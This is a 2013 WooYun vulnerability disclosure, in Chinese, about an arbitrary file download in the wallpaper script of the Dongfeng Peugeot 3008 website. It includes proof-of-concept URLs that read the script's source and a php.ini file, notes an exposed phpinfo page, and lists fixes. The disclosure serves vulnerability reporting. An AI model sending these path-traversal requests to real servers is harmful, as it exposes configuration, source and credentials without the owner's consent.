漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-020094
漏洞标题：东风标致3008官网任意文件下载,导致源码被读取
相关厂商：东风标致汽车有限公司
漏洞作者： hack2012
提交时间：2013-03-15 12:15
修复时间：2013-06-14 10:45
公开时间：2013-06-14 10:45
漏洞类型：任意文件遍历/下载
危害等级：中
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-03-15： 积极联系厂商并且等待厂商认领中，细节不对外公开
2013-06-14： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
东风标致3008官网壁纸下载未对路径进行过滤，存在任意文件下载，导致敏感信息泄露。
详细说明：
由于最近考驾照，所以对SUV车子比较观注，喜欢上了东风标致3008就去官方看了一下，发现存在任意文件下载漏洞，再配置上phpinfo的信息可以实现tomcat等敏感信息的读取。
1、http://3008.dongfengpeugeot.com.cn/download_con.shtml#1 下载壁纸发现下载中的URL地址可自定义。
漏洞证明：
2、http://3008.dongfengpeugeot.com.cn/downpic.php?pic=downpic.php
3、http://www.dongfengpeugeot.com.cn/test.php phpinfo信息泄露
4、http://3008.dongfengpeugeot.com.cn/downpic.php?pic=C:\PHP_Setup_for_IIS\PHP5\php.ini php.ini信息泄露
5、物理路径泄露 http://3008.dongfengpeugeot.com.cn/downpic.php?pic=xxx
其它的我就不截图了，比较严重。
修复方案：
1、对下载路径进行过滤，去掉../或者..\，限制可访问路径及过滤文件后缀名
2、前台使用纯静态
3、使用安全狗或者硬件WAF防御。
4、建议定期做web渗透测试
版权声明：转载请注明来源 hack2012@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝